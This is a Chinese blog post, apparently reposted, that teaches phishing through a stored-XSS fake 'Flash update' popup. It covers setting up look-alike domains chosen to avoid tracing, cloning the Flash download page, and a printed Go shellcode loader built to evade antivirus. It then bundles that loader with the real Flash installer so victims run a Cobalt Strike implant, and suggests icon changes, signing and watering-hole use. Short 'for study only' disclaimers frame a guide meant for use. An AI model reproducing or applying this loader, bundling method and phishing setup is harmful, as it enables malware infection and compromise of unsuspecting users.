作者: Overture
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x00 前言

xss弹出flash更新是一种常见的钓鱼手法,本文介绍一下整体思路和部分技术细节。

注意:任何未经授权的渗透都是违法行为,本文仅用于技术讨论,切勿用于违法途径

前期准备

服务器及域名
flash页面
免杀木马
前提条件:目标网站存在存储型xss漏洞或者已经getshell能够修改源码,通过请求你插入的js代码触发flash升级弹窗,跳转到准备好的flash下载界面下载安装,触发木马上线cs。

0x01 服务器及域名

服务器任意注册即可,域名注册及CDN可参考我上篇文章 如何让自己的CobaltStrike服务器隐匿 ,最好选择未备案域名,以防溯源。可以到godaddy或者hostinger注册便宜的域名,可以选择一些与项目相关或者高可信度的域名。

本文中可以选择带有adobe或flash等字符的域名,如下图所示:

建议使用cloudflare的CDN,设置DNS生效后在SSL/TLS中创建证书并下载保存。

在服务器中安装lnmp直接创建vhost主机:

添加证书:

此处选择1选项使用我们自己准备好的SSL证书和key。

回车创建vhost。

0x02 flash钓鱼页面

这一步需要flash的弹窗和网页源码,github上有很多,例如:
弹窗代码:Flash钓鱼弹窗版

网站源码:Xss之Flash钓鱼全套

还有很多其他类似的项目大家可以自己探索,不过现在flash cn网站的样式已经更新了:

为了进一步增加可信度,可以直接扒官网的源码稍作修改就可以了,下载源码的方法这里不再赘述。

将代码上传到网站目录下,重启nginx服务即可访问到钓鱼页面。

0x03 免杀木马

3.1 生成木马

互联网上知名的免杀方案有很多,比如工具免杀:msf自免杀、Veil、Venom,代码免杀:C/C++、C#、python、powershell、go等,大家可以按照免杀效果或各自喜好来进行选择,这里为了方便演示使用go的加载器进行测试。

package mainimport ("encoding/base64""fmt""os""syscall""unsafe"
)var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {ret, _, _ := procVirtualProtect.Call(uintptr(lpAddress),uintptr(dwSize),uintptr(flNewProtect),uintptr(lpflOldProtect))return ret > 0
}func Run(sc []byte) {f := func() {}// Change permissions on f function ptrvar oldfperms uint32if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {panic("Call to VirtualProtect failed!")}// Override function ptr**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))// Change permissions on shellcode string datavar oldshellcodeperms uint32if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {panic("Call to VirtualProtect failed!")}// Call the function ptr itf()
}

编译生成scloader.exe

3.2 捆绑木马

使用NimFileBinder捆绑木马和flash安装程序

在官网下载nim文件,点击文件夹中的finish.exe程序,会自动安装MingW。


直接编译会报错:

使用nimble install安装对应的模板即可(需要git)

编译完成后出现nimfilebender.exe文件。


随后即可将免杀好的exe文件和想要捆绑的文件放在nim安装目录下的bin文件夹下。并输入命令Nimfilebender.exe xx.exe xx.exe testkey即可将文件捆绑。

3.3 测试

将文件改名并上传到服务器web目录下,从网页访问下载测试


点击exe文件,会自动删除exe文件并弹出flash安装程序,且exe文件已经运行并自动保存到c盘windows目录下的temp文件夹。

成功上线!

0x04 总结

以上就是关于xss flash弹窗钓鱼的相关内容,因为时间问题整体步骤比较简陋,后续可以考虑从几个方面进行优化:
木马图标修改及签名
弹窗逻辑调整
cs上线自动收杆

关于xss 钓鱼还有很多方式,这里只是其中一种,当然也可以利用此方法进行水坑攻击等,这就是各位师傅需要根据项目环境进行改变。
文中如有错误,欢迎各位师傅指正!

0x05 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!

网络攻防|XSS Flash弹窗钓鱼相关推荐

  1. xss跨站攻击【网络攻防CTF】(保姆级图文)

    目录 什么是xss跨站攻击 实验内容 实验步骤 如何避免xss跨站攻击 总结 欢迎关注 『网络攻防CTF』 系列,持续更新中 欢迎关注 『网络攻防CTF』 系列,持续更新中 什么是xss跨站攻击 跨站 ...

  2. 《网络攻防》Web安全基础实践

    20145224陈颢文 <网络攻防>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御: 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数 ...

  3. 网络攻防技术——黑客攻防

    前言 一.SQL注入 二.XSS 攻击 1.反射型 2.存储型 三.CSRF 攻击 四.DDoS 攻击 五.DNS劫持 六.JSON 劫持 七.暴力破解 总结 提示:文章同样适用于非专业的朋友们,全文 ...

  4. 网络攻防基础(复习)

    文章目录 第 1 章 软件与系统安全概述 第 2 章 扫描与防御技术 2.1 扫描技术概述 2.2 常见的扫描技术 2.3 扫描工具 2.4 扫描的防御 第 3 章 网络监听及防御技术 3.1 网络监 ...

  5. 20169212 2016-2017-2 《网络攻防实践》第四周学习总结

    20169212 2016-2017-2 <网络攻防实践>第四周学习总结 教材学习中的问题和解决过程 wireshark学习 主机:Kali ip:192.168.1.117 目标:www ...

  6. 网络攻防 第四周学习总结

    教材学习内容总结 第四章主要介绍了网络嗅探和协议分析网络嗅探是一种常用的窃听技术,它利用计算机的网络接口截获目的地为其他计算机的数据报文,以监听数据流中所包含的用户账户密码或私密信息等. 网络嗅探具有 ...

  7. 网络攻防技术(摆烂一天)

    网络攻防技术非常基础 1. 信息采集 信息采集的重点概念: 信息采集是黑客为了更有效的实施攻击而在攻击前对被攻击目标进行探测活动(信息渗透的过程) 信息采集是渗透重要的一部分:知道的越多就可能知道的更 ...

  8. 网络攻防技术(郑大信安个人总结版)

    网络攻防技术(郑大信安个人总结版) 目录 第1部分 绪论 2 第2部分 网络脆弱性分析 3 第3部分 网络侦察 5 第4部分 网络扫描 7 第5部分 拒绝服务攻击 11 第6部分 计算机木马 14 第 ...

  9. 20222808郭锦城 2022-2023-2 《网络攻防实践》第10次作业

    2022-2023-2 <网络攻防实践>第10次作业 1.实验内容 1.1 Web应用程序体系结构及其安全威胁: 1.1.1 Web应用体系结构 Web应用程序的体系结构包括客户端.Web ...

  10. 20179311《网络攻防实践》第六周作业

    网络安全是指网络系统的硬件.软件及其系统受到保护,不受偶然的或者恶意的原因而遭到破坏.更改.泄漏,系统连续可靠正常运行,网络服务不被中断.网络安全的三个基本属性:机密性.完整性和可用性.国际电信联盟在 ...

最新文章

  1. Oracle存储过程创建及调用(转)
  2. 如何更改jupyter notebook显示为中文?
  3. DC的网络连接端口与防火墙设置[为企业部署Windows Server 2008系列十]
  4. poj 3257(哈希+二维dp)
  5. Cable--新虚拟网络架构介绍
  6. CodeForces 689E (离散化+逆元+组合)
  7. 软件工程导论 09章面向对象方法学
  8. XP远程桌面连接强制登录
  9. 图片上传功能(EasyUI前台框架+SSM框架)
  10. §3—1 复式记账法 [第三章 复式记账 ]
  11. 暑假计划(7月23日-8月21日)
  12. 用线程安全随机数解决Random在多线程中随机性重复的问题
  13. 运行QTP测试脚本后,将编译结果写入指定文件(四)
  14. WebCrack:网站后台弱口令批量检测工具 ——yzddMr6
  15. 服务器网卡,10GE设备相关笔记
  16. 蓝色动力(DVD版)GHOSTXP SP3纯净选择版V2012.06
  17. 测试硬件工程师常用英语单词
  18. 移位和循环移位指令 shl, shr sal, sar, sol, sor, scl, scr, shld, shrd
  19. 【共词聚类分析】基于CNKI和WOS的小样本稳健性检验
  20. 利用js制作的简单网页小游戏

热门文章

  1. DragonBones快速入门指南1
  2. gst-launch-1.0用法小记
  3. 视频转换器怎样将FLV转MP4格式
  4. EasyBoot教程一:制作WIN7原版多重启动盘方法
  5. 【OpenGL】笔记二十一、Alpha测试、混合测试
  6. 德国计算机留学难度,德国留学,真的很难毕业吗?德国留学生的真实感受
  7. 统计推断——假设检验——检验的功效(势)
  8. cmake的使用(cmake不是内部或外部命令)
  9. 「CSDN 征集」参与 CSDN 「Markdown」编辑器测评,即可有机会获取奖品哦
  10. javaScript常用案例